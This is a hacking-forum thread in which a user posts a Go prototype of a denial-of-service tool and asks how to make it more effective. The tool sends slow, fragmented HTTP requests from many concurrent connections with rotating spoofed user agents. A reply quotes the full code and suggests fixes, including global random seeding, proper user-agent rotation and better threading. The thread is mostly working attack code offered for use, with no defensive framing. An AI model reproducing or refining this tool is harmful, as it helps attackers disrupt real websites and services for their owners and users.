

Forum:[Hack Forums](#)

Thread: [Seeking feedback on my golang prototype for DoS tool](#)

psychonaut34 - March 3, 2025, 9:40 pm

This is my first dos tool prototype, and i need feedback on what its missing. I want to improve its efficiency, and overall effectiveness. Any suggestions or insights would be greatly appreciated

Code package main

```
import (  
    "fmt"  
    "log"  
    "math/rand"  
    "net"  
    "sync"  
    "time"  
)  
  
const (  
    HOST    = "EXAMPLE.COM"  
    PORT    = "999"  
    THREADS = 100  
)  
  
var fragmentedReq = []string{  
    "GET",  
    " /",  
    "HTTP/1.1\r\n",  
    fmt.Sprintf("Host: %s\r\n", HOST),  
    fmt.Sprintf("User-Agent: %s\r\n", userAgents[getRandGen().Intn(len(userAgents))]),  
    "Accept: text/html,",  
    "application/xhtml+xml,",  
    "application/xml;q=0.9,",  
    "*/*;q=0.8\r\n",  
    "Accept-Language: en-US,",  
    "en;q=0.5",  
    "ru-RU;q=1.0\r\n",  
    "Accept-Encoding: gzip,",  
    "deflate,",  
    "br\r\n",  
    "If-Modified-Since: Mon, 18 Jul 2016",  
    " 02:36:04 GMT\r\nT",  
    "If-None-Match: ",  
    "c561c68d0ba92bb8b0fff2a9199f722e3a621a",  
}  
  
var userAgents = []string{  
    // Desktop  
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)"
```

```

Chrome/42.0.2311.135 Safari/537.36 Edge/12.246",
    "Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/51.0.2704.64 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko)
Version/9.0.2 Safari/601.3.9",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/47.0.2526.111 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1",

    // Gaming console
    "Mozilla/5.0 (PlayStation; PlayStation 5/2.26) AppleWebKit/605.1.15 (KHTML, like Gecko)
Version/13.0 Safari/605.1.15",
    "Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)",
    "Mozilla/5.0 (PlayStation Vita 3.61) AppleWebKit/537.73 (KHTML, like Gecko) Silk/3.2",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox Series X) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/48.0.2564.82 Safari/537.36 Edge/20.02",
    "Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Xbox; Xbox One) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/46.0.2486.0 Mobile Safari/537.36 Edge/13.10586",
    "Mozilla/5.0 (Nintendo Switch; WifiWebAuthApplet) AppleWebKit/601.6 (KHTML, like Gecko)
NF/4.0.0.5.10 NintendoBrowser/5.1.0.13343",

    // Phones
    "Mozilla/5.0 (Linux; Android 13; Pixel 7 Pro) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/112.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 12; M2102J20SG) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/112.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 12; 2201116SG) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/112.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 13; SM-A515F) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/112.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 13; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/112.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (iPhone14,6; U; CPU iPhone OS 15_4 like Mac OS X) AppleWebKit/602.1.50
(KHTML, like Gecko) Version/10.0 Mobile/19E241 Safari/602.1",
    "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50
(KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
}

func getRandGen() *rand.Rand {
    source := rand.NewSource(time.Now().UnixNano())
    return rand.New(source)
}

func sendReq() {
    conn, err := net.Dial("tcp", net.JoinHostPort(HOST, PORT))

    if err != nil {
        log.Fatal("COnnection cant be established")
        return
    }

    defer conn.Close()

```

```

for _, frag := range fragmentedReq {
    conn.Write([]byte(frag))
    time.Sleep(100 * time.Millisecond)
}

fmt.Printf("[+] %s striked\n", HOST)
}

func attack() {
    var wg sync.WaitGroup
    semaphore := make(chan struct{}, THREADS)

    for {
        wg.Add(1)
        semaphore <- struct{}{}

        go func() {
            defer wg.Done()
            sendReq()
            <-semaphore
        }()
    }
}

func main() {
    attack()
}

```

Al masry - April 12, 2025, 1:30 pm

nice work man thnx nice work man thnx nice work man thnx

Shrdw - April 12, 2025, 7:15 pm

(Mar 3, 2025 10:40 PM)psychonaut34 Wrote: [\[CITE\]](#) This is my first dos tool prototype, and i need feedback on what its missing. I want to improve its efficiency, and overall effectiveness. Any suggestions or insights would be greatly appreciated

Code package main

```

import (
    "fmt"
    "log"
    "math/rand"
    "net"
    "sync"
    "time"
)

const (
    HOST    = "EXAMPLE.COM"
    PORT    = "999"
    THREADS = 100
)

```

```

var fragmentedReq = []string{
    "GET",
    " / ",
    "HTTP/1.1\r\n",
    fmt.Sprintf("Host: %s\r\n", HOST),
    fmt.Sprintf("User-Agent: %s\r\n", userAgents[getRandGen().Intn(len(userAgents))]),
    "Accept: text/html,",
    "application/xhtml+xml,",
    "application/xml;q=0.9,",
    "*/*;q=0.8\r\n",
    "Accept-Language: en-US,",
    "en;q=0.5",
    "ru-RU;q=1.0\r\n",
    "Accept-Encoding: gzip,",
    "deflate,",
    "br\r\n",
    "If-Modified-Since: Mon, 18 Jul 2016",
    " 02:36:04 GMT\r\nT",
    "If-None-Match: ",
    "c561c68d0ba92bb8b0fff2a9199f722e3a621a",
}

var userAgents = []string{
    // Desktop
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246",
    "Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1",

    // Gaming console
    "Mozilla/5.0 (PlayStation; PlayStation 5/2.26) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Safari/605.1.15",
    "Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)",
    "Mozilla/5.0 (PlayStation Vita 3.61) AppleWebKit/537.73 (KHTML, like Gecko) Silk/3.2",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox Series X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36 Edge/20.02",
    "Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Mobile Safari/537.36 Edge/13.10586",
    "Mozilla/5.0 (Nintendo Switch; WifiWebAuthApplet) AppleWebKit/601.6 (KHTML, like Gecko) NF/4.0.0.5.10 NintendoBrowser/5.1.0.13343",

    // Phones
    "Mozilla/5.0 (Linux; Android 13; Pixel 7 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 12; M2102J20SG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 12; 2201116SG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36",
}

```

```

    "Mozilla/5.0 (Linux; Android 13; SM-A515F) AppleWebKit/537.36 (KHTML, like Gecko)
    Chrome/112.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 13; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko)
    Chrome/112.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (iPhone14,6; U; CPU iPhone OS 15_4 like Mac OS X) AppleWebKit/602.1.50
    (KHTML, like Gecko) Version/10.0 Mobile/19E241 Safari/602.1",
    "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50
    (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
}

```

```

func getRandGen() *rand.Rand {
    source := rand.NewSource(time.Now().UnixNano())
    return rand.New(source)
}

func sendReq() {
    conn, err := net.Dial("tcp", net.JoinHostPort(HOST, PORT))

    if err != nil {
        log.Fatal("COnnection cant be established")
        return
    }

    defer conn.Close()

    for _, frag := range fragmentedReq {
        conn.Write([]byte(frag))
        time.Sleep(100 * time.Millisecond)
    }

    fmt.Printf("[+] %s striked\n", HOST)
}

```

```

func attack() {
    var wg sync.WaitGroup
    semaphore := make(chan struct{}, THREADS)

    for {
        wg.Add(1)
        semaphore <- struct{}{}

        go func() {
            defer wg.Done()
            sendReq()
            <-semaphore
        }()
    }
}

```

```

func main() {
    attack()
}

```

I'm a little late to the party but with a quick read you have a bunch of issues one being resources

issues being an infinite loop and the getRandom should be using true random you are generating every time?

When testing this on a local http server it does not loop through using proper multi threading and when you initiate the attack it chooses one user agent and never changes it.

Code `var randGen = rand.New(rand.NewSource(time.Now().UnixNano()))` as an example for a global seed and you should enable a graceful termination say using ctrl+c otherwise its a pain and wont close.

a good starting point but overall its pretty rough i would recommend using golang ide from jet brains i love it and use it daily it will explain and show many of these issues by default. I recommend golang as nothing i have found does it better for go lang similar to intellij and pycharm their products are pretty insane not too badly priced vs most.